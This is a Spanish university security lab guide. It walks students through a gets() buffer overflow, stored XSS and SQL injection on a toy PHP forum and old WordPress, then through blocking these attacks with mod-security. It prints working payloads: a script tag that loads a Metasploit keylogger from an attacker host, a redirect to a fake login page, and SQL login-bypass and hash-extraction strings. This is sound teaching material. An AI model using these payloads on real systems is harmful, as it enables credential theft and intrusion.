

Vulnerabilidades Web y uso de mod-security

SSI 2018/19

6 de noviembre de 2018

Índice

1. Previo: reto de desbordamiento de buffer	1
1.1. Compilación y ejecución	2
1.2. Tarea a realizar	3
2. Entorno de pruebas	3
2.1. Software de virtualización VIRTUALBOX	3
2.2. Imágenes a utilizar	3
3. Ejercicio 1: Vulnerabilidades típicas en aplicaciones web	4
3.1. Descripción	4
3.2. Aplicaciones vulnerables (Cross Site Scripting: XSS)	5
3.2.1. Foro "simple" vulnerable	5
3.2.2. Carga de librerías Javascript "maliciosas"	5
3.3. Aplicaciones vulnerables (Inyección SQL)	7
3.3.1. Inyección SQL Foro "simple" vulnerable	7
3.3.2. Inyección SQL en Wordpress 1.5.1.1	7
3.4. Aplicaciones vulnerables educativas	8
3.5. Documentación a entregar	8
4. Ejercicio 2: Instalación y experimentación con mod-security	8
4.1. Descripción de mod-security	9
4.2. Instalación y configuración	9
4.3. Documentación a entregar	11

1. Previo: reto de desbordamiento de buffer

1. Compilar y ejecutar el siguiente código C (en una máquina GNU/Linux)

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
```

```

char* crear_pin_aleatorio() {
    char* pin = (char *) malloc(5);
    srand(time(0)); // Inicializa generador de nos. aleatorios
    sprintf(pin, "%04d", rand()%10000);
    return pin;
}

int main(int argc, char *argv[]) {
    char pin_secreto[5];
    strcpy(pin_secreto, crear_pin_aleatorio());

    char pin_leido[5];
    printf("Introducir PIN: ");
    gets(pin_leido); // No comprueba tamaño de entrada

    if (strcmp(pin_leido, pin_secreto) == 0){
        printf("Acceso concedido, pin correcto\n");
    }
    else {
        printf("Acceso denegado, pin incorrecto\n");
    }

    printf("PISTA:\n pin secreto: %s\n pin leido: %s\n", pin_secreto,pin_leido);
}

```

El programa implementa un control de acceso muy simple (y sin sentido) basado en un pin aleatorio de 4 dígitos.

El código es vulnerable a un desbordamiento del buffer sobre la variable `pin_leido` derivado del uso de la función `gets()`

1.1. Compilación y ejecución

Para poder aprovechar el desbordamiento de buffer sobre la variable `pin_leido` que deja abierto el uso de `get()`, es necesario identificar varias cuestiones relativas al modo en que gestiona la pila de ejecución (*Stack*) el compilador GCC, que dependen de la arquitectura de la CPU, la versión concreta de GCC y las opciones por defecto que se usan en las distintas distribuciones GNU/Linux.

Aspectos a identificar

- Uso (o no) de protección de pila

Las versiones recientes de GCC incluyen por defecto el uso de la opción `-fstack-protector` que usa *random canaries* para proteger los campos de control del *Stack frame* y en algunos caso también protege los arrays con tamaño superior a 4 bytes o 8 bytes.

- (a) Sin protección de pila

Basta con compilar el código sin especificar parámetros adicionales.

```
$ gcc -o desbordador desbordador.c
$ ./desbordador
```

Nota: para verificar si la protección de pila está habilita basta introducir

- una cadena de más de 6 ó más bytes (si protege buffers a partir de 4 bytes)
- una cadena de más de 9 ó más bytes (si protege buffers a partir de 8 bytes)

y verificar si el programa aborta su ejecución con un mensaje similar a `*** stack smashing detected ***`

- (b) Con protección de pila

La protección de pila sobre el buffer `pin_leido` impide realizar el ejemplo propuesto, por lo que es necesario compilar el código deshabilitando la protección de la pila con la opción `-fno-stack-protector`

```
$ gcc -fno-stack-protector -o desbordador desbordador.c
$ ./desbordador
```

■ Alineamiento de datos en pila

Dependiendo de la arquitectura de la CPU (32 o 64 bits) y de las opciones por defecto del compilador GCC las variables locales almacenadas en la pila de ejecución pueden alinearse de diferentes formas

- (a) Sin alineamiento: las variables ocupan exactamente el tamaño declarado.
El espacio asignado a la variable `pin_secreto` empieza justo 5 posiciones más adelante de la dirección apuntada por `pin_leido`.
- (b) Alineadas en regiones de 4 bytes (típico en CPU de 32 bits): el espacio asignado a las variables de la pila se asigna en múltiplos de 4 bytes.
El espacio asignado a la variable `pin_secreto` empieza justo 8 posiciones más adelante de la dirección apuntada por `pin_leido`.
- (c) Alineadas en regiones de 16 bytes (exclusivo de CPU de 64 bits): el espacio asignado a las variables de la pila se asigna en múltiplos de 16 bytes.
El espacio asignado a la variable `pin_secreto` empieza justo 16 posiciones más adelante de la dirección apuntada por `pin_leido`.

1.2. Tarea a realizar

1. Verificar la posibilidad de desbordamiento: probar entradas de tamaño creciente (4 dígitos, 5 dígitos, 6 dígitos, etc) y "ver que pasa".
2. Diseñar un esquema que permita aprovechar el desbordamiento de buffer para sobrepasar el control de acceso basado en pin aleatorio. Comprobar su funcionamiento.
3. Por defecto el compilador GCC compila el código con la opción `-fstack-protector-all` (protección de pila para dirección de retorno y arrays "grandes"). ¿Cómo funciona este mecanismo de protección de pila en GCC y qué sucede cuando se introduce un PIN de gran tamaño (> 5 bytes)?
4. Comprobar lo que sucede si se sustituye la llamada a `gets(pin_leido)` por una llamada a `fgets(pin_leido, 4, stdin)`

TAREA ENTREGALE (A)

Documentación a entregar: Documentar brevemente las tareas 2, 3 y 4 del ejemplo de desbordamiento de buffer.

2. Entorno de pruebas

2.1. Software de virtualización VIRTUALBOX

En estas prácticas se empleará el software de virtualización VIRTUALBOX para simular los equipos GNU/Linux sobre los que se realizarán las pruebas.

- Página principal: <http://virtualbox.org>
- Más información: <http://es.wikipedia.org/wiki/Virtualbox>

2.2. Imágenes a utilizar

1. Scripts de instalación
 - para GNU/Linux: `ejercicio-modsecurity.sh`
alumno@pc: \$ sh ejercicio-modsecurity.sh

- para MS windows: ejercicio-modsecurity.ps1
Powershell.exe -executionpolicy bypass -file ejercicio-modsecurity.ps1

Notas:

- Se pedirá un identificador (sin espacios) para poder reutilizar las versiones personalizadas de las imágenes creadas (usad por ejemplo el nombre del grupo de prácticas o el login LDAP)
- En ambos scripts la variable \$DIR_BASE especifica donde se descargarán las imágenes y se crearán las MVs. Por defecto en GNU/Linux será en \$HOME/SSI1819 y en Windows en C:/SSI1819. Puede modificarse antes de lanzar los scripts para hacer la instalación en otro directorio más conveniente (disco externo, etc)
- Es posible descargar las imágenes comprimidas manualmente (o intercambiarlas con USB), basta descargar los archivos con extensión .vdi.zip de <http://ccia.esei.uvigo.es/docencia/SSI/1819/practicas/> y copiarlos en el directorio anterior (\$DIR_BASE) para que el script haga el resto.
- Si no lo hacen desde el script anterior, se pueden arrancar las instancias VIRTUALBOX desde el interfaz gráfico de VirtualBOX o desde la línea de comandos con `VBoxManage startvm <nombre MV>_<id>`

2. Imágenes descargadas

- **base_ssi.vdi** (1,2 GB comprimida, 4,8 GB descomprimida): Imagen genérica (común a todas las MVs) que contiene las herramientas a utilizar. Contiene un sistema Debian 9 con herramientas gráficas y un entorno gráfico ligero LXDE (*Lighweight X11 Desktop Environment*) [LXDE].
- **swap1GB.vdi**: Disco de 1 GB formateado como espacio de intercambio (SWAP)

3. Usuarios configurados e inicio en el sistema

- Usuarios disponibles

login	password
root	purple
usuario	usuario

- Acceso al entorno gráfico una vez logueado (necesario para poder copiar y pegar desde/hacia el anfitrión)
`root@datos:~# startx`

- Habilitar copiar y pegar desde/hacia el anfitrión en el menú **Dispositivos** -> **Portapapeles compartido** -> **bidir** de la ventana de la máquina virtual.

3. Ejercicio 1: Vulnerabilidades típicas en aplicaciones web

3.1. Descripción

En este ejercicio veremos ejemplos simples de vulnerabilidades web.

- Usaremos una aplicación PHP de muestra muy simplificada que no realiza ningún tipo de comprobación de las entradas que recibe y que permite Inyección de SQL (que usaremos para burlar la comprobación de login y password) y XSS (*Cross Site Scripting*).
- También veremos un ejemplo de software real, una versión antigua del software para blogs WordPress, con vulnerabilidades de inyección SQL.

NOTA: NO FUNCIONA SOBRE php7

- Por último en la máquina virtual se encuentran instaladas tres aplicaciones web vulnerables para ser usadas con fines didácticos.

PREVIO (IMPORTANTE) Asegurar que están iniciados los servidores Apache y MySQL.

- Usando los comandos de control de `systemd`

```
modsecurity:~# systemctl restart apache2.service
modsecurity:~# systemctl restart mysql.service
```

- Usando los comandos "tradicionales" (son alias a los anteriores)

```
modsecurity:~# service apache2 restart
modsecurity:~# service mysql restart
```

3.2. Aplicaciones vulnerables (Cross Site Scripting: XSS)

3.2.1. Foro "simple" vulnerable

En la máquina `modsecurity` hay una implementación de un foro de juguete en PHP.

- Código fuente en: `/var/www/foro`
- Cuenta con 2 usuarios creados (`ana` y `pepe`) ambos con password `ssi`

Desde la máquina atacante:

1. Abrir en un navegador WEB la URL `http://modsecurity.ssi.net/foro`
2. Entrar como `ana` con password `ssi`
 - Añadir un mensaje con una parte de su título o del cuerpo encerrada entre las etiquetas HTML de texto en negrita: (`...`)
 - Revisar la lista de mensajes para comprobar que las marcas HTML incluidas en las entradas entrada se copian tal cuales
3. Preparar un ataque de XSS persistente
 - El usuario `ana` se loguea con la contraseña `ssi` y crea otro mensaje nuevo, incluyendo en el texto la siguiente etiqueta `<script>` con comandos JavaScript

```
<script> alert("esto admite XSS") </script>
```

Desde la máquina víctima:

1. Abrir en un navegador WEB la URL `http://modsecurity.ssi.net/foro`
2. Entrar como `pepe` con password `ssi` y acceder al listado de mensajes
3. Comprobar la ejecución del código del "ataque" XSS preparado por `ana`

3.2.2. Carga de librerías Javascript "maliciosas"

En un escenario real, un atacante (el papel de `ana`) inyectaría código Javascript más dañino, normalmente con la finalidad de hacerse con información relevante del usuario atacado (el papel de `pepe`).

- Típicamente se trataría de "robar" cookies o información de la sesión abierta por el usuario atacado desde su navegador, para almacenarla con la finalidad de suplantar la sesión de un usuario legítimo
- Otra alternativa usual consistiría en incluir código para cargar librerías Javascript maliciosas externas para hacerse con el control del navegador del usuario víctima (por ejemplo el Browser Exploitation Framework (BeEF)).

Ejemplo: despliegue del *keylogger* Javascript de Metasploit

1. Preparar la librería Javascript y el servidor de escucha en la máquina **atacante**.

Información del módulo en `http_javascript_keylogger`

```
atacante:~# service metasploit start

atacante:~# msfconsole

msf> use auxiliary/server/capture/http_javascript_keylogger

http_javascript_keylogger> info
http_javascript_keylogger> set DEMO true
http_javascript_keylogger> set SRVPORT 8888
http_javascript_keylogger> set URIPATH js
http_javascript_keylogger> run
```

El *keylogger* Javascript quedará disponible en cualquier URL de la forma `http://atacante.ssi.net:8888/js/[...].js`, de modo que cuando se cargue esa librería Javascript se inicie la captura de pulsaciones de teclado.

2. Desplegar el ataque XSS persistente

- Desde la máquina **atacante** acceder al foro vulnerable como **ana** y crear un nuevo mensaje

Título: Un mensaje inocente

Contenido:

```
blablabla <script type="text/javascript" src="http://atacante.ssi.net:8888/js/jquery.js"></script> blablabla
```

3. Verificar el ataque XSS

- Desde la máquina **victima**, acceder como **pepe** a la lista de mensajes para que se active el *keylogger*.

Al solicitar la carga de la librería JavaScript se accederá a la URL donde "escucha" el keylogger de Metasploit y lo que se teclee en esa página será capturado.

OPCIONAL: Simular la redirección a una página de lectura de credenciales

- **Importante:** es mejor dejar esta prueba para el final, puesto que al ejecutarla impedirá comprobar el funcionamiento de las pruebas de XSS posteriores.

El módulo Metasploit genera un página de login simulada (habilitado con la opción `DEMO=true`) en la URL `http://atacante.ssi.net:8888/js/demo.js` para probar la redirección y captura de credenciales (en un escenario real se haría un ataque de *phising* creando una página de login falsa imitando la apariencia de la web legítima)

1. Desde **atacante** acceder al foro como **ana** y crear un nuevo mensaje

Título: Otro mensaje inocente

Contenido:

```
blablabla <script> window.location.replace("http://atacante.ssi.net:8888/js/demo") </script> blablabla
```

2. Desde **victima**, acceder como **pepe** a la lista de mensajes para invocar el código Javascript inyectado

Se redireccionará el navegador a una página de login falsa creada por Metasploit donde capturará las pulsaciones de teclado.

3.3. Aplicaciones vulnerables (Inyección SQL)

3.3.1. Inyección SQL Foro "simple" vulnerable

Desde la máquina atacante

- Volver a la página de inicial del foro: `http://modsecurity.ssi.net/foro`
- Veremos como acceder sin disponer de nombre de usuario ni clave en la página de login.

Indicar lo siguiente en la casilla usuario:

```
usuario: ' or 1=1 ; #  
password: <vacío>
```

Confirmamos cómo se accede la aplicación accede como un usuario autorizado (el primero de la base de datos)

En la máquina `modsecurity`, comprobar cómo sería la consulta SQL que usará esos parámetros (ver el código en `/var/www/html/foro/login.php`)

```
modsecurity:~# leafpad /var/www/html/foro/login.php &
```

3.3.2. Inyección SQL en Wordpress 1.5.1.1

IMPORTANTE: La versión de Wordpress de este ejemplo no funciona sobre PHP7 ⇒ No se realizará esta parte

Ejemplo de vulnerabilidad en una versión antigua del software para blogs WordPress.

Los ataques de Inyección SQL no tienen por que limitarse al acceso a través de campos de formulario. En este caso el código SQL inyectado se incluye en la barra de direcciones (en un parámetro de la URL que se envía en la petición HTTP GET)

1. Abrir desde el navegador de la máquina atacante la url del blog: `http://modsecurity.ssi.net/wordpress`
 - No es necesario logearse para realizar el ejemplo, pero en caso necesario el usuario y el login de este blog son:

```
usuario: admin  
passwd: secreto
```

2. Probaremos la inyección SQL sobre los parámetros de la consulta de categorías (`http://modsecurity.ssi.net/wordpress`)

a) Poner en barra de direcciones: (sin espacios)

```
http://modsecurity.ssi.net/wordpress/index.php?cat=999%20UNION%20SELECT%20null,CONCAT(CHAR(58),user_pass,CHA
```

Nota: puede copiarse y pegarse esta URL desde el archivo `/root/aplicaciones_vulnerables/wordpress/url-wordp` de la máquina virtual `modsecurity`

b) Se mostrará en la columna derecha (zona de lista de categorías) el par:

```
admin:e201994dca9320fc94336603b1cfc970
```

c) Vemos el contenido de la primera fila de la tabla de usuarios, con nombre de usuario `admin` y el md5 de su password

Para comprobar que ese es efectivamente es el resumen md5 de la cadena `secreto`:

- Buscar la cadena `e201994dca9320fc94336603b1cfc970` en google (sale asociado a la palabra "secreto")
- Ejecutar en línea de comandos: `echo -n "secreto" | md5sum`

3.4. Aplicaciones vulnerables educativas

En la máquina virtual `modsecurity` se encuentra instaladas tres aplicaciones vulnerables (2 en PHP y 1 en Java) diseñadas para experimentar con ellas.

Damm Vulnerable Web App disponible en `http://modsecurity.ssi.net/DVWA`, con login `admin` y password `password`

Implementa ejemplos de XSS e inyección SQL y otras vulnerabilidades en tres niveles de dificultad

El código está disponible en el directorio `ejercicio-modsecurity` de `modsecurity.ssi.net`.

- En el directorio `vulnerabilities` hay una carpeta para cada ejercicio/vulnerabilidad
- Para cada ejercicio/vulnerabilidad se incluye su descripción, pistas y el código PHP que implementa en el servidor cada "nivel" de dificultad (en `source`, ficheros `low.php`, `medium.php`, `high.php` e `impossible.php`)

Web: `http://www.dvwa.co.uk/`

Mutillidae (NOWASP) disponible en `http://modsecurity.ssi.net/mutillidae`

Similar a DVWA, pero con los ejemplos más documentados y estructurados de acuerdo al OWASP Top 10.

El código está disponible en el directorio `/var/www/html/mutillidae` de `modsecurity.ssi.net`.

Web: `http://sourceforge.net/projects/mutillidae/`

WebGoat en `http://localhost:8080/WebGoat/` desde la máquina `modsecurity` (solicita un registro previo en la aplicación, proporcionando login y password)

Aplicación web Java vulnerable desarrollada como parte del proyecto OWASP.

Instalación y arranque: desde el directorio `/root/aplicaciones-vulnerables/`

```
modsecurity:/root/aplicaciones-vulnerables# java -jar webgoat-server-8.0.0.M21.jar
```

Nota: WebGoat sólo está accesible en local, por lo que debe accederse desde el navegador de la máquina `modsecurity`

Web: `https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project`

3.5. Documentación a entregar

TAREA ENTREGABLE (B)

- Documentar brevemente las pruebas realizadas sobre el "foro vulnerable" en los apartados 3.2 (Cross Site Scripting) y 3.3.1 (Inyección SQL)
 - Indicar la acción realizada y el resultado obtenido
 - Indicar si es posible los fragmentos de código fuente PHP del "foro" que están implicados en dichas vulnerabilidades.
- En el caso (opcional) de haber realizado alguna prueba adicional con las aplicaciones vulnerables educativas aportadas (DVWA, Mutillidae, WebGoat) del apartado 3.4, documentar las mismas.

4. Ejercicio 2: Instalación y experimentación con mod-security

NOTA: Si es necesario para replicar los ejercicios anteriores, se puede reconstruir la base de datos inicial del foro.

```
modsecurity:~# cd /var/www/html/foro
modsecurity:/var/www/html/foro# mysql -u root -p      (con la contraseña purple)
mysql > drop database foro
mysql > create database foro
mysql > use foro
mysql > source foro.sql
```

4.1. Descripción de mod-security

Resumen mod-security: pdf

Web: <http://www.modsecurity.org/>

Reglas mod-security:

- OWASP ModSecurity Core Rule Set Project: <https://coreruleset.org/> y <https://modsecurity.org/crs/>
 - Repositorio GitHub con última versión: <https://github.com/SpiderLabs/owasp-modsecurity-crs/>
- Atomi ModSecurity Rules: http://www.atomicorp.com/wiki/index.php/Atomic_ModSecurity_Rules
- COMODO Web Application Firewall Rules: <https://waf.comodo.com/> (gratuitas con registro previo)

4.2. Instalación y configuración

1. Instalar los paquetes debian (ya hecho)

```
modsecurity:~# apt-get install libapache2-mod-security2 # modulo security2 de Apache
modsecurity:~# apt-get install modsecurity-crs # colección de reglas Core Rule Set
```

2. Reglas del *OWASP ModSecurity Core Rule Set Project*

Descarga desde OWASP ModSecurity Core Rule Set Project y <http://github.com/SpiderLabs/owasp-modsecurity-crs> (ya descargado al instalar paquete modsecurity-crs)

3. Revisar la configuración por defecto de mod-security

```
modsecurity:~# cat /etc/apache2/mods-available/security2.conf
<IfModule security2_module>
  \# Default Debian dir for modsecurity's persistent data
  SecDataDir /var/cache/modsecurity

  \# Include all the *.conf files in /etc/modsecurity.
  \# Keeping your local configuration in that directory
  \# will allow for an easy upgrade of THIS file and
  \# make your life easier
  IncludeOptional /etc/modsecurity/*.conf

  \# Include OWASP ModSecurity CRS rules if installed
  IncludeOptional /usr/share/modsecurity-crs/owasp-crs.load
</IfModule>

modsecurity:~# cat /usr/share/modsecurity-crs/owasp-crs.load
##
## This file loads OWASP CRS's rules when the package is installed
## It is Included by libapache2-mod-security2
##
Include /etc/modsecurity/crs/crs-setup.conf
IncludeOptional /etc/modsecurity/crs/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf
Include /usr/share/modsecurity-crs/rules/*.conf
IncludeOptional /etc/modsecurity/crs/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf
```

- Configuración general de reglas CRS en `/etc/modsecurity/crs/crs-setup.conf`
- Reglas CRS disponibles en `/usr/share/modsecurity-crs/rules/*.conf`

4. Configurar y habilitar las reglas OWASP a utilizar

```
modsecurity:~# cd /etc/modsecurity/
modsecurity:/etc/modsecurity/# mv modsecurity.conf-recommended modsecurity.conf
/* Configuración general de modsecurity*/
```

IMPORTANTE

- En la configuración por defecto de mod-security está habilitada la notificación del uso de mod-security a la web <http://status.modsecurity.org/>.
- Dado que las máquinas virtuales utilizadas no tienen acceso a la red real, este intento de notificación fallido hará que mod-security no se arranque.
- Para anular esta notificación hay que editar el fichero `/etc/modsecurity/modsecurity.conf` y establecer el parámetro `SecStatusEngine` a `Off` [está al final del fichero]

```
modsecurity:~# nano /etc/modsecurity/modsecurity.conf

...
...
SecStatusEngine Off
```

5. Si no estaba hecho previamente, habilitar el módulo `mod-security` en Apache y reiniciar el servidor

```
modsecurity:~# a2enmod security2

modsecurity:~# systemctl restart apache2.service
ó
modsecurity:~# service apache2 restart
```

6. **TAREA ENTREGABLE (C)** Repetir las pruebas de inyección SQL y XSS sobre el foro y (opcionalmente) con DVWA.

- Por defecto `mod-security` funciona en modo `DetectionOnly` (ver `/etc/modsecurity/modsecurity.conf`)
- Ante una petición HTTP o una respuesta HTTP maliciosa se limita a:
 - crear una entrada en el log de errores de Apache (`/var/log/apache2/error.log`) indicando la regla que ha generado la alerta
 - registrar en el fichero `/var/log/apache2/modsec_audit.log` la petición HTTP que ha provocado la alerta

```
modsecurity:~# tail -f /var/log/apache2/error.log [ liberar terminal con <ctrl>+C ]

modsecurity:~# less /var/log/apache2/modsec_audit.log
```

7. **TAREA ENTREGABLE (D)** Configurar `mod-security` en modo rechazo y repetir las pruebas de inyección SQL y XSS sobre el foro y (opcionalmente) con DVWA.

(Si es necesario, eliminar y regenerar la base de datos de la aplicación foro.)

Editar `/etc/modsecurity/modsecurity.conf` para establecer el parámetro `SecRuleEngine` a `On` (por defecto estaba como `DetectionOnly`) y reiniciar Apache.

```
modsecurity:~# nano /etc/modsecurity/modsecurity.conf

...
SecRuleEngine On
...
```

```
modsecurity:~# systemctl restart apache2.service
ó
modsecurity:~# service apache2 restart
```

Nota: En todas las pruebas el acceso a las URL debe hacerse con el nombre de la máquina `modsecurity`, no con su dirección IP. (`http://modsecurity.ssi.net/foro`, etc)

4.3. Documentación a entregar

Entregable:

- Documentar brevemente la **Tarea entregable (A)** del ejemplo de desbordamiento de buffer
- Documentar las pruebas con el "foro vulnerable" de la **Tarea entregable (B)**
- Documentar las pruebas realizadas sobre las aplicaciones web vulnerables en los puntos 6 y 7 del ejemplo de instalación de Mod-Security (**Tarea entregable (C)** y **Tarea entregable (D)**), indicando los resultados obtenidos (si se considera oportuno, pueden mostrarse fragmentos de log relevantes, etc).